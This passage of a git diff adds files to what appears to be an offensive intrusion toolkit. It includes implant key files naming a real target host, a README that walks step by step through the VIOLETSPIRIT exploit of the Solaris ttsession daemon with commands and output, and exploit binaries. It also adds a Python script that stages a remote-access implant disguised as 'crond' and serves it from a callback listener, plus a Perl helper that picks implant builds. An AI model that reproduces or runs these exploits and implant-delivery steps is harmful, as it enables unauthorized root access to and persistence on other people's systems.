export CV="NOT KEYED" +} diff --git a/Linux/bin/varkeys/pitchimpair/zanburu.grupocorreo.es___194.30.32.113/incision b/Linux/bin/varkeys/pitchimpair/zanburu.grupocorreo.es___194.30.32.113/incision new file mode 100644 index 0000000..429b3b6 --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/zanburu.grupocorreo.es___194.30.32.113/incision @@ -0,0 +1,5 @@ +PITCHIMPAIR___zanburu.grupocorreo.es___194.30.32.113___20040614-190127() { + ## INCISION Version:4.9.1 OS:sparc-sun-solaris2.7 + export TARG_AYT="277a7150 faa87f10 d64f01cc" + [ "$UTC_OFFSET" ] || export UTC_OFFSET=120 +} diff --git a/Linux/bin/varkeys/pitchimpair/zanburu.grupocorreo.es___194.30.32.113/orangutan b/Linux/bin/varkeys/pitchimpair/zanburu.grupocorreo.es___194.30.32.113/orangutan new file mode 100644 index 0000000..eeb929d --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/zanburu.grupocorreo.es___194.30.32.113/orangutan @@ -0,0 +1,4 @@ +PITCHIMPAIR___zanburu.grupocorreo.es___194.30.32.113___20040614-190127() { + ## ORANGUTAN Version:1.6.1 OS:sparc-sun-solaris2.7 + export CONFIG_KEYS="cdb2247f f9539cfc dc45df00" +} diff --git a/Linux/bin/varkeys/pitchimpair/zanburu.grupocorreo.es___194.30.32.113/reticulum b/Linux/bin/varkeys/pitchimpair/zanburu.grupocorreo.es___194.30.32.113/reticulum new file mode 100644 index 0000000..1e353bf --- /dev/null +++ b/Linux/bin/varkeys/pitchimpair/zanburu.grupocorreo.es___194.30.32.113/reticulum @@ -0,0 +1,20 @@ +PITCHIMPAIR___zanburu.grupocorreo.es___194.30.32.113___20040614-190127() { + # + # RETICULUM Version:6.6 OS:sparc-sun-solaris2.7 + # + set host zanburu.grupocorreo.es + set ip 194.30.32.113 + set hostType "Solaris27" + set len 476 + set cv0 597e45e0 + set cv1 a4e02006 + set cv2 eb4a875f + set timeout 10 + set retries 5 + set baduids { } + set maxdelay 1.5 + set mindelay 1.0 +# +# +set hand [ targsetup $host $ip $len $cv0 $cv1 $cv2 $hostType $mindelay $maxdelay $baduids $timeout $retries ] +} diff --git a/Linux/bin/violetspirit.README b/Linux/bin/violetspirit.README new file mode 100644 index 0000000..02ff363 --- /dev/null +++ b/Linux/bin/violetspirit.README @@ -0,0 +1,344 @@ +VIOLETSPIRIT can be used against versions 4 and 5 of the "ttsession" +daemon found in the Common Desktop Environment (CDE) Solaris 2.X, on both SPARC +and x86 platforms. As of this writing (21 May 2003), it has been successfully +tested against... + + Solaris 2.6 SPARC ("ttsession" version 4) + Solaris 2.6 x86 ("ttsession" version 4) + Solaris 2.7 SPARC ("ttsession" versions 4 and 5) + Solaris 2.7 x86 ("ttsession" versions 4 and 5) + Solaris 2.8 SPARC ("ttsession" version 5) + Solaris 2.8 x86 ("ttsession" version 5) + Solaris 2.9 SPARC ("ttsession" version 5) + Solaris 2.9 x86 ("ttsession" version 5) + +The VIOLETSPIRIT exploit, if successful, sets up a "dtterm" terminal +connected to an X server of your choice over a TCP connection. VIOLETSPIRIT +can also be redirected via various redirection tools. + +Platform-specific run-time instructions can be found below. I give +1 example for a version 4 exploit, and 1 example for a version 5 exploit, as +they involve slightly different processes. A version 4 exploit involves just +an attack, while a version 5 involves a bit more... + +============================================================================= +============================================================================= +(Solaris 2.6 SPARC target, "ttsession" version 4)............................ + +###### Are they vulnerable??? +$ rpcinfo -p 555.1.9.56 +. +. +. +1342177279 4 tcp 32786 +1342177279 1 tcp 32786 +1342177279 3 tcp 32786 +1342177279 2 tcp 32786 +$ + +## Okay, he looks like a Solaris 2.6 box, running "ttsession" version 4... +## +## What options do we have? +$ ./vs.attack.linux +Please specify tgt IP address and hostname +Usage: ./vs.attack.linux -i tgt_ipaddr -h tgt_hostname -x xserver_port + optional args: + [-c cb_ipaddr] : default use my ip addr + [-p cb_port] : callback port (default random) + [-n tcp_port] : default use portmapper to determine + [-7] use Solaris 7+ default ttsession program number 1289637086(0x4cde4cde) + : default use Solaris 6- ttsession program number 1342177279(0x4fffffff) + [-r rpcprognum] : ttsession program number if different from defaults + [-v rpc version] : default 4 : Solaris 8 and other patched versions use version 5 + [-T seconds] set approx time at which target ttsession started for version 5 rpc + time is in seconds since epoch + [-t microsecs] refine approx time at which target ttsession started + time is in microseconds + [-q xserver_ip] default +$ + +## For Solaris 2.6, version 4...to display a "dtterm" back to the +## X server at 555.1.2.48:0.0... +$ ./vs.attack.linux -i 555.1.9.56 -h murray -q 555.1.2.48 -x 6000 -n 32786 +Client created + +rendez ip is set to 555.1.2.48 + +tgt ttsession is using port 32786 + +Got from target: TT Session ID: P 01 354 1342177279 1 0 0 555.1.9.56 4 + +TT Session is using program number 0x4fffffff + +TT Session is process id 354 being run by uid 0 + + continue ... + +## VIOLETSPIRIT prompts the user at several points, to establish visual +## verification of the protocol interactions before proceeding to the +## next step. Assuming everything looks okay, just hit the "Enter" key +## at the "continue..." prompt to keep on going... + +Got from target: TT Process ID: 1._jhjr + +TT session start time 1052162933 Mon May 5 14:28:53 2003 + +TT pid 1 + + continue ... + +Associate process id + +assoc_process_id: starting cookie time at 1052162933 0 +port 33721 (0x83b9) bound for listening + + +Mon May 5 15:42:22 2003 + +Going for cb accept +Done cb acccept + +Your Xserver should be running on 555.1.2.48 port 6000 + +About to tell the target to create a DT Terminal on DISPLAY 547725836848:67108864.1097364144128 + + continue ... + +## Okay...when you hit "Enter" here, the target will attempt to display +## a "dtterm" back to your prespecified X server...better have one up +## and waiting... + +SDT_go_term - got success on cb +SDT_go_term done +0x00000000 +0x00000001 +>>> BITS 0x01120635 +0x01 = 0 +STATE = 5 TT_STARTED +0x10 = 1 +0x20 = 2 + + +0x200 RESULT = 0 +No of args = 00000000 + +0x00000400 = 00000008 + +Handler P Type: SDT_Terminal +No of contexts = 00000001 + +$DISPLAY: 0x00000000 arg type 3 string: 0xffffffff c type 2 "547725836848:67108864.1097364144128" +More data = 00000016 + +## At this point, after a short delay, you should see a "dtterm" pop up on +## your prespecified X server. Watch the "tcpdump" window...you'll see +## _lots_ of TCP traffic being exchanged between your X server and the +## target... + + +All done - press return to close down the tcp stream + +## Hit "Enter" one more time, for a graceful closeout of VIOLETSPIRIT. + +$ + +============================================================================= +============================================================================= +(Solaris 2.9 x86 target, "ttsession" version 5)............................ + +###### Are they vulnerable??? +$ rpcinfo -p 555.1.3.42 + program vers proto port +. +. +. +1289637086 5 tcp 33143 +1289637086 1 tcp 33143 + +$ + +## Okay, he looks like a Solaris 2.7+ box, running "ttsession" version 5... +## +## First we need to get the times for the magic cookie for the attack to work +## What options do we have? + +## Because the "gettime" binary is uploaded to targets, no usage is ever printed +## But here are the options: + +$ ./vs.gettime.sol.sparc +Please specify tgt IP address and hostname +Usage: ./vs.get.sol.sparc -i tgt_ipaddr -h tgt_hostname + optional args: + [-c cb_ipaddr] : default use my ip addr + [-p cb_port] : callback port (default random) + [-n tcp port] : default use portmapper to determine + [-r rpcprognum] + [-T seconds] set approx time at which target ttsession started for version 5 rpc + time is in seconds since epoch + [-t microsecs] refine approx time at which target ttsession started + time is in microseconds + +## We're now getting the times for the magic cookie. This will take several minutes ON +## AVERAGE over a fast link, it is STRONGLY discouraged to run this over a dialup +## connection unless you enjoy staring at slowly printed dots for hours on end. +## If at all possible, upload this somewhere else and lose the dialup bottleneck. + +## For Solaris 2.7+, version 5...to get the proper times needed for the attack +$ ./vs.get.sol.sparc -i 555.1.3.42 -h dellosaurus -n 33143 +Client created + +rendez ip is set to 555.1.2.48 + +tgt ttsession is using port 33143 + +Got from target: TT Session ID: P 01 7449 1289637086 1 1 0 555.1.3.42 5 dellosaurus + +TT Session is using program number 0x4cde4cde + +TT Session is process id 7449 being run by uid 0 + + continue ... + +gss_getinfo returned: 0xffffffff 0xffffffff 0xffffffff + +Got from target: TT Process ID: 1._jiOG + +TT session start time 1052165648 Mon May 5 15:14:08 2003 + +TT pid 1 + + continue ... + +## VIOLETSPIRIT prompts the user at several points, to establish visual +## verification of the protocol interactions before proceeding to the +## next step. Assuming everything looks okay, just hit the "Enter" key +## at the "continue..." prompt to keep on going... + +Associate process id + +assoc_process_id: starting cookie time at 1052165648 0 +Mon May 5 16:21:17 2003 +port 33733 (0x83c5) bound for listening +.................................................. Mon May 5 16:22:16 2003 +.................................................. Mon May 5 16:23:19 2003 +.................................................. Mon May 5 16:24:19 2003 +.................................................. Mon May 5 16:25:16 2003 +.................................................. Mon May 5 16:26:14 2003 +.................................................. Mon May 5 16:27:11 2003 +.................................................. Mon May 5 16:28:08 2003 +.................................................. Mon May 5 16:29:06 2003 +.................................................. Mon May 5 16:30:04 2003 +.................................................. Mon May 5 16:31:01 2003 +.................................................. Mon May 5 16:31:58 2003 +.................................................. Mon May 5 16:32:56 2003 +.................................................. Mon May 5 16:33:53 2003 +.................................................. Mon May 5 16:34:51 2003 +......................... + +Mon May 5 16:35:20 2003 + +Good cookie found using times 1052165648 725142 +$ + +## Cool! We found the times to make the magic cookie. +## Let's now see our attack options +$ ./vs.attack.linux +Must specify time values with rpc version 5 +Usage: ./vs.attack.linux -i tgt_ipaddr -h tgt_hostname -x xserver_port + optional args: + [-c cb_ipaddr] : default use my ip addr + [-p cb_port] : callback port (default random) + [-n tcp_port] : default use portmapper to determine + [-7] use Solaris 7+ default ttsession program number 1289637086(0x4cde4cde) + : default use Solaris 6- ttsession program number 1342177279(0x4fffffff) + [-r rpcprognum] : ttsession program number if different from defaults + [-v rpc version] : default 4 : Solaris 8 and other patched versions use version 5 + [-T seconds] set approx time at which target ttsession started for version 5 rpc + time is in seconds since epoch + [-t microsecs] refine approx time at which target ttsession started + time is in microseconds + [-q xserver_ip] default +$ + +## Now, for the attack... +$ ./vs.attack.linux -i 555.1.3.42 -h dellosaurus -n 33143 -7 -v 5 -c 555.1.2.48 -q 555.1.2.48 -x 6000 -T 1052165648 -t 725142 +Client created + +rendez ip is set to 555.1.2.48 + +tgt ttsession is using port 33143 + +Got from target: TT Session ID: P 01 7449 1289637086 1 1 0 555.1.3.42 5 dellosaurus + +TT Session is using program number 0x4cde4cde + +TT Session is process id 7449 being run by uid 0 + + continue ... + +gss_getinfo returned: 0xffffffff 0xffffffff 0xffffffff + +Got from target: TT Process ID: 2._jiOG + +TT session start time 1052165648 Mon May 5 15:14:08 2003 + +TT pid 2 + + continue ... + +Associate process id + +assoc_process_id: starting cookie time at 1052165648 725142 +Mon May 5 17:19:13 2003 +port 33737 (0x83c9) bound for listening + + +Mon May 5 17:19:13 2003 + +Good cookie found using times 1052165648 725142 +Going for cb accept +Done cb acccept + +Your Xserver should be running on 555.1.2.48 port 6000 + +About to tell the target to create a DT Terminal on DISPLAY 547725836848:67108864.1097364144128 + + continue ... + +## EUREKA!!! When you hit "Enter" here, the target will attempt to display +## a "dtterm" back to your prespecified X server...better have one up +## and waiting... + +SDT_go_term done +0x00000000 +0x00000001 +>>> BITS 0x01120635 +0x01 = 0 +STATE = 5 TT_STARTED +0x10 = 1 +0x20 = 2 + + +0x200 RESULT = 0 +No of args = 00000000 + +0x00000400 = 00000008 + +Handler P Type: SDT_Terminal +No of contexts = 00000001 + +$DISPLAY: 0x00000000 arg type 3 string: 0xffffffff c type 2 "547725836848:67108864.1097364144128" +More data = 00000016 + +## At this point, after a short delay, you should see a "dtterm" pop up on +## your prespecified X server. Watch the "tcpdump" window...you'll see +## _lots_ of TCP traffic being exchanged between your X server and the +## target... + +All done - press return to close down the tcp stream + +## Hit "Enter" one more time, for a graceful closeout of VIOLETSPIRIT. + +$ + + diff --git a/Linux/bin/vs.attack.linux b/Linux/bin/vs.attack.linux new file mode 100755 index 0000000..9e2e143 Binary files /dev/null and b/Linux/bin/vs.attack.linux differ diff --git a/Linux/bin/vs.gettime.linux b/Linux/bin/vs.gettime.linux new file mode 100755 index 0000000..5e04eff Binary files /dev/null and b/Linux/bin/vs.gettime.linux differ diff --git a/Linux/bin/vs.gettime.sol.sparc b/Linux/bin/vs.gettime.sol.sparc new file mode 100755 index 0000000..6f575ed Binary files /dev/null and b/Linux/bin/vs.gettime.sol.sparc differ diff --git a/Linux/bin/vs.gettime.sol.x86 b/Linux/bin/vs.gettime.sol.x86 new file mode 100755 index 0000000..db07eaf Binary files /dev/null and b/Linux/bin/vs.gettime.sol.x86 differ diff --git a/Linux/bin/wget.pasteable b/Linux/bin/wget.pasteable new file mode 100755 index 0000000..272e3a9 --- /dev/null +++ b/Linux/bin/wget.pasteable @@ -0,0 +1,93 @@ +#! /usr/local/bin/python2.7 +import os +import optparse +import subprocess +import sys + +VERSION="1.0.0.0" + +## +## Make keys +def makeKeys(): + subprocess.Popen("openssl req -nodes -x509 -newkey rsa:2048 -days 1 -out /current/tmp/cert.pem -keyout /current/tmp/key.pem -batch", shell=True).wait() + +## Start Listener +def listen(port): + cmd = "openssl s_server -accept "+port+" -key /current/tmp/key.pem -cert /current/tmp/cert.pem -WWW" + print cmd + try: + subprocess.Popen(cmd, shell=True, cwd="/current/tmp").communicate() + except KeyboardInterrupt: + exit() + +## Create pasteable file +def makePasteable(redir, port, rat): + sed = "sed -e s/RATUP_CBIP/"+redir+"/g -e s/RATUP_CBPORT/"+port+"/g -e s/RAT_NAME/"+rat+"/g /current/etc/wget.template > /current/etc/wget.pop" + subprocess.Popen(sed, shell=True).wait() + +## Make Rat +def makeRat(ratName, remoteRatName): + copy = "cp "+ratName+" /current/tmp/"+remoteRatName + subprocess.Popen(copy, shell=True).wait() + +## + +def main(): + # Parse commandline options + parser = optparse.OptionParser() + parser.add_option("-l", "--redirector", dest = "redirector", + default = "", help = "(req) Redirector IP Address") + parser.add_option("-p", "--port", dest = "port", + default = "", help = "(req) Redirector Port") + parser.add_option("-r", "--rat", dest = "rat", + default = "", help = "(req) Full path to RAT") + parser.add_option("-R", "--remoteRat", dest = "remoteRat", + default = "crond", help = "(opt) Target RAT Name (default: crond)") + parser.add_option("-V","--version", dest = "version", + action = "store_true", help = "Displays version information") + (options, args) = parser.parse_args() + + redirector = options.redirector + port = options.port + rat = options.rat + remoteRat = options.remoteRat + version = options.version + + if (version): + print "%s: version %s" % (sys.argv[0],VERSION) + exit() + + if (redirector == ""): + parser.print_help() + exit() + + elif (port == ""): + parser.print_help() + exit() + + elif (rat == ""): + parser.print_help() + exit() + + + #Make the keys + makeKeys() + + #Make the rat + makeRat(options.rat, options.remoteRat) + + # Pop up our pasteables + makePasteable(options.redirector, options.port, options.remoteRat) + subprocess.Popen("1x -geometry 110x30+5+320 -bg white -e vi /current/etc/wget.pop", shell=True) + + #Start our Listener + print"#############################################" + print"Control-C and close this window when done! :)" + print"#############################################" + listen(options.port); + + +if (__name__ == '__main__'): + main() + + diff --git a/Linux/bin/wh b/Linux/bin/wh new file mode 100755 index 0000000..9be8615 --- /dev/null +++ b/Linux/bin/wh @@ -0,0 +1,208 @@ +#!/usr/bin/env perl +# +# +# 19 JUN 2002: added -cCGgxl arguments and $VER and whll/whlL options +# +# now checks entire path and shows each +# hit with a 'ls -a[l]', in the order found +# +# +use File::Basename; +#unless (`perl -e "use Time::HiRes qw( sleep ) ;" 2>&1`) { + #use Time::HiRes qw( sleep ) ; + #$sleepval = 0.1 ; +#} else { + $sleepval = 1 ; +#} +$progname = basename ${0}; +$VER = "2.3"; +$| = 1 ; +require "getopts.pl"; +&Getopts( "gGCchxvl:i1Vs" ); +#if (`uname` eq "Linux\n") { + $COLOR_SUCCESS="\033[1;32m"; + $COLOR_FAILURE="\033[1;31m"; + $COLOR_WARNING="\033[1;33m"; + $COLOR_NORMAL="\033[0;39m"; + $COLOR_NOTE="\033[0;34m"; +#} +$usagetext = " +Usage: $progname [-c|C] [-G | -g] [-xiV1] [-l lsargs] + $progname -h (shows this usage statement) + + $progname is similar to which except every executable occurrence + of programs in in the user's current PATH is shown. + + When called as \"whl\", a long listing is shown, with date/time; + as \"wh\" or \"whls\" only a short listing is shown; + as \"whd\", results in a new shell in first entry's dir; + as \"whL\" or \"whll\", links are followed; and + as \"whV\" uses the -V option on each executable found. + + -c|C show a count of how many matches for each file (-C shows count + only, not files) + + -g uses globbing to find all executable programs in PATH starting + with the string(s) provided in + + -G uses globbing to find all executable programs in PATH CONTAINING + the string(s) provided in . (overrides -g if also given) + + -s sort end result through \"lsstamp -s\", if available, with each + entry entry preceeded by its rank in the path (ignored if end + result has no date--e.g., called as \"wh\" or \"whls\"). + + -x looks for all files, executable or otherwise + + -i case-insensitive search + + -V Show the output of \"prog -v\" (version) for each program found + ${COLOR_WARNING}NOTE: can have unexpected results if program found does + not expect the -v argument! (Especially using -g/G)$COLOR_NORMAL + + -1 Show only the first match found in path (more like \"which\") + + -l The optional \"-l lsargs\" argument is passed to ls when showing + the files found; e.g. to show access time use \"-l u\", to show + inode and access time, use \"-l iu\" + +$progname version $VER +"; +chomp($path = $ENV{'PATH'}); +($path) or die "No PATH environment variable"; + +if ($opt_h) { + print "$usagetext"; + exit; +} +if ($opt_v) { + print "$progname version $VER\n"; + exit; +} +$execstr = "executable " unless ($opt_x) ; +$case = "-i" if $opt_i ; +# if called as "wh" +if ( $progname eq "wh" or $progname =~ /whls/ ) { + # don't do long listing + $lsarg = "a"; +} else { + # otherwise (whl), do + $lsarg = "al"; +} +$cdalso = ($progname =~ /wh(ls){0,1}d/) ; +if ( $progname eq "whL" or $progname eq "whll" ) { + $lsarg .= "L" +} +$opt_1++ if ($progname eq "wh1" or $progname eq "which") ; + +$lsarg .= $opt_l if $opt_l; +if ($sortit = $opt_s) { + if ($lsarg =~ /l/) { + if (`lsstamp -v 2>/dev/null`) { + if (open(TMPOUT,"> /tmp/whl.$ENV{USER}$$")) { + select TMPOUT ; + } else { + warn "Unable to open /tmp/whl.$ENV{USER}$$ for write. Unable to do -s option." ; + $sortit = 0 ; + } + } else { + warn "Unable to find lsstamp in your path. Unable to do -s option." ; + $sortit = 0 ; + } + } else { + # quietly throw away the -s if no l in $lsarg + $sortit = 0 ; + } +} +@runs = ("-v") if ($opt_V or $progname eq "whV") ; + +FILE: foreach $file ( @ARGV ) { + # only do any one file once + next if ($filesdone{$file}) ; + $filesdone{$file}++; + $found = 0; + %dirsdone = () ; + foreach $dir ( split( /:/ , $path ) ) { + # only do any one dir once + next if ($dirsdone{$dir}) ; + $dirsdone{$dir}++; + if ($opt_G) { + @args = split (/\n/, `cd $dir 2>/dev/null ; ls -1 | grep $case ${file} 2>/dev/null`); + } elsif ($opt_g) { + @args = split (/\n/, `cd $dir 2>/dev/null ; ls -1 | grep $case "^${file}" 2>/dev/null`); + } else { +# @args = ($file); + @args = split (/\n/, `cd $dir 2>/dev/null ; ls -1 | grep $case "^${file}\$" 2>/dev/null`); + } + foreach $a (@args) { + if ( ! -d "$dir/$a" && ( -x _ || ($opt_x && -f _ ) ) ) { + $found++; + my $rank = "" ; + if ($sortit) { + $rank = sprintf("%02d: ",$found) ; + } + print "${rank}${COLOR_NOTE}".`ls -$lsarg $dir/$a`."${COLOR_NORMAL}" unless $opt_C; + $firsthit = "$dir/$a" unless $firsthit ; + $numfilesfound{$file}++ ; + $filesfound{$file} = "$dir/$a" ; + foreach $parm (@runs) { + # we're running prog -v for each if $opt_V only, + # else @runs is empty + $pid = fork(); + # fork in case kid never dies naturally with this parameter + if (! $pid ) { + print STDOUT "${COLOR_SUCCESS}$dir/$a:\t"; + exec ("$dir/$a $parm 2>&1") ; + print STDOUT "${COLOR_NORMAL}"; + exit ; + } + sleep $sleepval; $sleeptotal += $sleepval ; + # look for kid not dying, kill after 0.4 seconds, kill -9 after 1.5 secs + while ($tmp = `ps -ef | grep $pid | grep -v grep | grep -v defunct`) { + $count++; + sleep $sleepval; $sleeptotal += $sleepval ; + if ( $sleeptotal > 0.4 ) { + warn "$dir/$a not dead after $sleeptotal secs (pid $pid) - sending SIG TERM\n" ; + kill (TERM,$pid); + } + kill (9,$pid) if ( $sleeptotal > 1.5 ); + if ($sleeptotal > 8.0) { + warn "${COLOR_WARNING} +WARNING: Hmm...Can't seem to kill (SIG TERM or KILL) $pid after $sleeptotal seconds... + continuing...\n${COLOR_NORMAL}\n" ; + last ; + } + } # end while + } # end foreach $parm (@runs) + next FILE if $opt_1 ; # only one hit per file wanted + } # end if + } # end foreach $a (@args) + } # end foreach $dir in $path + if ( ! $found ) { + print STDERR "no $file in $path\n"; + } else { + if ($sortit) { + close(TMPOUT) ; + select STDOUT ; + print `lsstamp -s /tmp/whl.$ENV{USER}$$` ; + unlink("/tmp/whl.$ENV{USER}$$") ; + } + if ($opt_c or $opt_C) { + $plural = ""; + $plural = "es" if ($numfilesfound{$file} > 1); + $fileglob = $file; + $fileglob = "${file}*" if ($opt_g); + $fileglob = "*${file}*" if ($opt_G); + print "$progname: $numfilesfound{$file} ${execstr}match$plural for $fileglob"; + print ", executable or otherwise" unless $execstr; + print "\n"; + } + $cdhere = dirname("$firsthit") if $cdalso ; + } +} # next $file in @ARGV + +print "${COLOR_NORMAL}"; +if ($cdhere) { + print "\nNew shell with working directory: $cdhere\n\n"; + exec("cd $cdhere ; bash"); +} diff --git a/Linux/bin/wh1 b/Linux/bin/wh1 new file mode 120000 index 0000000..bfa94be --- /dev/null +++ b/Linux/bin/wh1 @@ -0,0 +1 @@ +wh \ No newline at end of file diff --git a/Linux/bin/whL b/Linux/bin/whL new file mode 120000 index 0000000..bfa94be --- /dev/null +++ b/Linux/bin/whL @@ -0,0 +1 @@ +wh \ No newline at end of file diff --git a/Linux/bin/whV b/Linux/bin/whV new file mode 120000 index 0000000..bfa94be --- /dev/null +++ b/Linux/bin/whV @@ -0,0 +1 @@ +wh \ No newline at end of file diff --git a/Linux/bin/whatrat.pl b/Linux/bin/whatrat.pl new file mode 100755 index 0000000..f2152ad --- /dev/null +++ b/Linux/bin/whatrat.pl @@ -0,0 +1,228 @@ +#!/bin/env perl +$version = "1.0.0.7"; +if ("@ARGV" eq "-v") { + die "whatrat.pl v. $version\n"; +} +foreach ("../etc/autoutils", + "/current/etc/autoutils", + "autoutils") { + if (-r $_) { + require $_ or die "Could not require $_\n"; + last; + } +} +my $debug=0; +$debug = $ENV{"DEBUG"}; +mydbg("DEBUG IS ON: $debug") if $debug; + +my $ratdir = "/current/up/morerats"; +opendir(DIR,$ratdir) or + die "Cannot use $0 unless /current/up/morerats contains noservers\n"; +chdir($ratdir); +my $nopenver=""; +foreach $file ( grep { /^noserver-/ } sort readdir DIR ){ + next unless -f $file or -l $file; + next unless $file =~ /noserver-(\d+\.\d+\.\d+\.\d+)-/; + my $thisver=$1; + $nopenver=$thisver if ((verval($nopenver))[1] < (verval($thisver))[1]); + push(@noservers,$file); +} +closedir(DIR); +($nopenver) = $nopenver =~ /^(\d+\.\d+\.\d+)/; +mydbg("Got noservers=(\n".join("\n",@noservers)."\n)\n\n". + "with nopenver=$nopenver"); +@noservers = findmatch($nopenver); +my @input=(); +if (@ARGV and ! -e $ARGV[0]) { + @input=("@ARGV"); +} else { + @input=<>; +} + +mydbg("input=(@input)"); +while ($line = shift @input) { + ($os, $name, $osver,@restofuname) = split(/\s+/,$line); +mydbg("noservers=(@noservers)\n\nos=$os name=$name osver=$osver restofuname=$restofuname"); + $osver =~ s/[^\d\.-]//g; + $osver =~ s/-+$//; + $osver =~ s/^\.+//; + $os = lc $os; + $osver =~ s/^5\./2./ if ($os eq "sunos"); # use 2.* naming convention + $name = lc $name; + $osver = lc $osver; + chomp($restofuname = lc "@restofuname"); + mydbg("rou=$restofuname="); + $platform = "i.*86" if $restofuname =~ /(i[3456]86)/; + $platform = "sparc" if $restofuname =~ /(sparc|sun4)/; + $platform = "alpha" if ($restofuname =~ /alpha/i and + $os =~ /osf/i); + if ($restofuname =~ /(junos)/i) { + $platform = "freebsd"; + $osver = "4.5"; + } + next unless ($os and $name and $osver and $restofuname) ; + + # We keep whittling away at @noservers, once we are down to one + # entry, findmatch will print it then exit. If findmatch() returns, + # we still have more than one. + @noservers = findmatch($os); + @noservers = findmatch($osver); + @noservers = findmatch($platform); +mydbg("noservers=(@noservers)\n\nos=$os name=$name osver=$osver restofuname=$restofuname"); + if ($os eq "linux") { + if ($restofuname =~ /redflag/) { + @noservers = findmatch("redflag"); + } else { + @noservers = findmatch("redflag",1); + } + # At this point, we pick our known link of 586 or 686 and be done with it. + if ($restofuname =~ /686/) { + done("noserver-$nopenver-i686.pc.linux.gnu"); + } elsif ($restofuname =~ /586/) { + done("noserver-$nopenver-i586.pc.linux.gnu"); + } else { + done("noserver-$nopenver-i586.pc.linux.gnu"); + } + } elsif ($os eq "sunos") { + @noservers = findmatch("$osver.*$platform"); + @noservers = findmatch("$platform.*$osver"); + @noservers = findmatch("sun"); + if ($restofuname =~ /i386/) { # got an intel + @noservers = findmatch("386"); + } elsif ( $restofuname =~ /sparc/ ) { + @noservers = findmatch("sparc"); + $bailnow = "Damn. Got SUNOS but don't know what the release is."; + $colorbail = $colorfail ; + last; + } elsif (1) { + $bailnow = "Not supported yet: $os $name $osver @restofuname" ; + $colorbail = $colorfail ; + } + # If we are this far, remove any remaining linux to be safe + @noservers = findmatch("linux",1); + } elsif ($os eq "freebsd") { + mydbg("osver=$osver"); + # If we are this far, remove any remaining linux to be safe + @noservers = findmatch("linux",1); + } elsif ($os eq "irix") { + if ($osver eq "6.5" or $osver eq "6.4" or $osver eq "6.3" or + $osver eq "5.3") { + $ratlocalname = "$ratdir/noserver-${nopenver}-mips.sgi.irix-$osver" ; + } + # If we are this far, remove any remaining linux to be safe + @noservers = findmatch("linux",1); + } elsif ($os eq "osf1") { + if ($osver eq "v4.0" or ( $restofuname =~ /alpha/i )) { + $ratlocalname = "$ratdir/noserver-${nopenver}-alphaev6.dec.osf4.0f" ; + } + # If we are this far, remove any remaining linux to be safe + @noservers = findmatch("linux",1); + } else { + mydbg( "Don't see uname output there",$colorfail) ; + next; + } + mydbg("We have uname output we can handle.",$colorgren); +} +# Our last hope, if matches thus far are identical md5sums, we +# eliminate one of them with uniqify(). +@noservers=(uniqify(@noservers)); +my $best = greatestnot("$osver"); +dbg("MULTIPLE NOPEN MATCHES...first is best i think\n"); +print "$ratdir/$best\n" if $best; +foreach (grep { ! /$best/ } @noservers) { +#foreach (@noservers) { + print "$ratdir/$_\n"; +} +if (@ARGV) { + die "whatrat.pl v. $version cannot determine RAT from \"@ARGV\"\n"; +} + +sub progprint { + local ($str,$color,@stuff) = @_ ; + return if $quiet ; + $STD="STDERR" ; # took this out + my $oldfh = select ($STD) ; + my $scripme = $ENV{EXPLOIT_SCRIPME} ; + $| = 1 ; + print "$colornote"; + print STDOUT "$colornote" if $scripme ; + if ($color == (1)) { + print "\r[$prog: $str] "; + print STDOUT "\r[$prog: $str] " if $scripme ; + } elsif (! $str) { + print "$colornorm\n"; + print STDOUT "$colornorm\n" if $scripme ; + } else { + $color = $colornote unless ($color); + print "${color}[$prog: $str]\n$colornorm"; + print STDOUT "${color}[$prog: $str]\n$colornorm" if $scripme ; + } + select $oldfh ; +} # end sub progprint +sub mydbg { + return unless $debug; + warn "@_\n"; +} +sub done { + print "$ratdir/@_\n"; + exit 0; +} + +sub findmatch { + # global @noservers + local ($str,$negate) = (@_); + my @matches = (); + unless ($negate) { + return @noservers unless @matches = grep { /$str/ } @noservers; + } else { + @matches = grep { !/$str/ } @noservers; + return @noservers unless @matches; + } + done(@matches) if @matches == 1; +mydbg("findmatch returning (@matches)"); + return @matches; +} +sub greatestnot { + # Given a platform version string, assuming @noservers strings end + # in platform version, run findmatch(which) where which is the + # greatest platform we have that is no greater than our uname $osver. + # global @noservers + local ($str) = (@_); + my ($which,$ver,$greatest) = (); + foreach (@noservers) { + my $verval = 0; + my ($newver) = /([\d\.-]+)$/; + $newver =~ s/[-\.]+$//g; + $newver =~ s/^[-\.]+//g; + my $newverval = (verval($newver))[1]; +mydbg("given osver=$str Got ver=$ver so far newver=$newver for $_"); + if ($newverval > $verval and $newverval <= (verval($str))[1]) { + $ver = $newver; + $verval = (verval($verval))[1]; + $which=$_; + } + } +mydbg("Got ver=$ver which=$which"); +# findmatch($which);or this one??? + @noservers = findmatch($ver); + return $which; +# @noservers = grep { ! /$which/ } @noservers; +} +sub sumof { + local ($file) = (@_); + return "" unless -l $file or -f _; + chomp(my $ans = `md5sum $file 2>/dev/null`); + $ans =~ s/\s.*//g; + return $ans; +} +sub uniqify { + local (@files) = (@_); + my @returnval=(); + my %alreadygot=(); + foreach my $file (@files) { + push (@returnval,$file) unless + $alreadygot{sumof($file)}++; + } + done("@returnval") if @returnval==1; + return @returnval; +} diff --git a/Linux/bin/whd b/Linux/bin/whd new file mode 120000 index 0000000..bfa94be --- /dev/null +++ b/Linux/bin/whd @@ -0,0 +1 @@ +wh \ No newline at end of file diff --git a/Linux/bin/whll b/Linux/bin/whll new file mode 120000 index 0000000..bfa94be --- /dev/null +++ b/Linux/bin/whll @@ -0,0 +1 @@ +wh \ No newline at end of file diff --git a/Linux/bin/whls b/Linux/bin/whls new file mode 120000 index 0000000..bfa94be --- /dev/null +++ b/Linux/bin/whls @@ -0,0 +1 @@ +wh \ No newline at end of file diff --git a/Linux/bin/whlsd b/Linux/bin/whlsd new file mode 120000 index 0000000..bfa94be --- /dev/null +++ b/Linux/bin/whlsd @@ -0,0 +1 @@ +wh \ No newline at end of file diff --git a/Linux/bin/wrap-aix-telnet.sh b/Linux/bin/wrap-aix-telnet.sh new file mode 100644 index 0000000..c45a1b9 --- /dev/null +++ b/Linux/bin/wrap-aix-telnet.sh @@ -0,0 +1,91 @@ +#!/bin/bash + +echo -e "\n\n\n\n\nYOU REALLY SHOULD BE USING ys.auto or better yet -sploit + + + +BUT IF YOU MUST USE $0 at least use /current/bin/nc.YS instead of just nc. + + +Packrat now has an option to do just that: + 